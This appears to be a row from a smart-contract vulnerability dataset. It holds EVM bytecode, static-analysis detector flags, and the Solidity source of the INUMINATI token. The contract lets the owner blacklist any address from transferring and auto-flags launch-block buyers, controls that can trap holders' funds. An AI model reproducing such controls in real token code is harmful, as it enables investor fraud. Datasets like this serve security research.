ffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040518082815260200191505060405180910390a3565b600080610f64610e10610f5660065442612dac90919063ffffffff16565b612d7390919063ffffffff16565b600f819055506000600f541415610f7e5760469050610ffe565b6001600f5410158015610f9357506018600f54105b15610fa157604b9050610ffd565b6018600f5410158015610fb6575060a8600f54105b15610fc45760509050610ffc565b60a8600f5410158015610fda5750610150600f54105b15610fe857605a9050610ffb565b610150600f54101515610ffa57606490505b5b5b5b5b8091505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106357600080fd5b600280600381111561107157fe5b601560009054906101000a900460ff16600381111561108c57fe5b14151561109857600080fd5b600754421115156110a857600080fd5b6003601560006101000a81548160ff021916908360038111156110c757fe5b02179055506000600a60006101000a81548160ff021916908315150217905550600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506111dc600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d8e90919063ffffffff16565b600b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b6040805190810160405280600581526020017f46454e495800000000000000000000000000000000000000000000000000000081525081565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561137157600080fd5b600a60009054906101000a900460ff1615801561139a5750600a60019054906101000a900460ff165b156113ee57601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113ed57600080fd5b5b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600e5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154057600080fd5b8060138190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a657600080fd5b6000600560006101000a81548160ff021916908315150217905550565b60008054905090565b60065481565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156115f957600080fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156116c4575081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156116d1575060008210155b15156116dc57600080fd5b61172e82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dac90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180082600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dac90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118d282600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d8e90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e157600080fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8657600080fd5b6001600560006101000a81548160ff021916908315150217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aff57600080fd5b6000806003811115611b0d57fe5b601560009054906101000a900460ff166003811115611b2857fe5b141515611b3457600080fd5b6001601560006101000a81548160ff02191690836003811115611b5357fe5b02179055506000600560006101000a81548160ff02191690831515021790555060466002819055506a084595161401484a000000600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055504260088190555062093a8042016009819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a350565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ccb57600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611de057600080fd5b6001806003811115611dee57fe5b601560009054906101000a900460ff166003811115611e0957fe5b141515611e1557600080fd5b6002601560006101000a81548160ff02191690836003811115611e3457fe5b02179055506000600560006101000a81548160ff021916908315150217905550611eb16a52b7d2dcc80cd2e4000000600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d8e90919063ffffffff16565b600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600681905550621baf8042016007819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6a52b7d2dcc80cd2e40000006040518082815260200191505060405180910390a350565b60075481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f464e58000000000000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561202657600080fd5b80600a60016101000a81548160ff02191690831515021790555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a157600080fd5b309050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8273ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015612123573d6000803e3d6000fd5b5050565b60105481565b60005481565b600080601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491509150915091565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061226a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156124675781600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156122bf575060008210155b15156122ca57600080fd5b61231c82600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dac90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506128ed565b600a60009054906101000a900460ff161580156124905750600a60019054906101000a900460ff165b80156124ea5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156126df5781601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561253d57600080fd5b81601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506128ed565b600a60019054906101000a900460ff1615156128e85781600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015612745575060008210155b151561275057600080fd5b6127a282600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dac90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d8e90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506128ed565b600080fd5b92915050565b601560009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561296257600080fd5b80600a60006101000a81548160ff02191690831515021790555050565b60085481565b60095481565b6000808373ffffffffffffffffffffffffffffffffffffffff16141580156129ca575060008273ffffffffffffffffffffffffffffffffffffffff1614155b15156129d557600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b600a60019054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612acf57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515612af557600080fd5b612ba8600b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d8e90919063ffffffff16565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a350565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900460ff1681565b6000808284811515612d8157fe5b0490508091505092915050565b6000808284019050838110151515612da257fe5b8091505092915050565b6000828211151515612dba57fe5b8183039050929150505600a165627a7a72305820a2e03f93b0100b7e3db5901acee53b9a1bf916e47e9ef83cc703eba354a840970029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,526 |
0x83b5348e53ea0ef2051a7dfc9b47c804c443e5cd | // SPDX-License-Identifier: Unlicensed
//TG: @Inuminatportal
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract INUMINATI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "INUMINATI";
string private constant _symbol = "INUMINATI";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen);
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.mul(3).div(13);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c0578063cf0848f7146103d5578063cf9d4afa146103f5578063dd62ed3e14610415578063e6ec64ec1461045b578063f2fde38b1461047b57600080fd5b8063715018a6146103235780638da5cb5b1461033857806390d49b9d1461036057806395d89b4114610172578063a9059cbb14610380578063b515566a146103a057600080fd5b806331c2d8471161010857806331c2d8471461023c5780633bbac5791461025c578063437823ec14610295578063476343ee146102b55780635342acb4146102ca57806370a082311461030357600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049b565b005b34801561017e57600080fd5b506040805180820182526009815268494e554d494e41544960b81b602082015290516101aa919061189a565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce366004611914565b6104e7565b60405190151581526020016101aa565b3480156101ef57600080fd5b50678ac7230489e800005b6040519081526020016101aa565b34801561021457600080fd5b506101d3610223366004611940565b6104fe565b34801561023457600080fd5b5060096101fa565b34801561024857600080fd5b50610170610257366004611997565b610567565b34801561026857600080fd5b506101d3610277366004611a5c565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a157600080fd5b506101706102b0366004611a5c565b6105fd565b3480156102c157600080fd5b5061017061064b565b3480156102d657600080fd5b506101d36102e5366004611a5c565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030f57600080fd5b506101fa61031e366004611a5c565b610685565b34801561032f57600080fd5b506101706106a7565b34801561034457600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036c57600080fd5b5061017061037b366004611a5c565b6106dd565b34801561038c57600080fd5b506101d361039b366004611914565b610757565b3480156103ac57600080fd5b506101706103bb366004611997565b610764565b3480156103cc57600080fd5b5061017061087d565b3480156103e157600080fd5b506101706103f0366004611a5c565b610935565b34801561040157600080fd5b50610170610410366004611a5c565b610980565b34801561042157600080fd5b506101fa610430366004611a79565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046757600080fd5b50610170610476366004611ab2565b610bdb565b34801561048757600080fd5b50610170610496366004611a5c565b610c18565b6000546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104c590611acb565b60405180910390fd5b60006104d930610685565b90506104e481610cb0565b50565b60006104f4338484610e2a565b5060015b92915050565b600061050b848484610f4e565b61055d843361055885604051806060016040528060288152602001611c44602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611350565b610e2a565b5060019392505050565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104c590611acb565b60005b81518110156105f9576000600560008484815181106105b5576105b5611b00565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611b2c565b915050610594565b5050565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104c590611acb565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f89061138a565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016104c590611acb565b6106db600061140e565b565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104c590611acb565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f4338484610f4e565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104c590611acb565b60005b81518110156105f957600c5482516001600160a01b03909116908390839081106107bd576107bd611b00565b60200260200101516001600160a01b03161415801561080e5750600b5482516001600160a01b03909116908390839081106107fa576107fa611b00565b60200260200101516001600160a01b031614155b1561086b5760016005600084848151811061082b5761082b611b00565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087581611b2c565b915050610791565b6000546001600160a01b031633146108a75760405162461bcd60e51b81526004016104c590611acb565b600c54600160a01b900460ff1661090b5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c5565b600c805460ff60b81b19166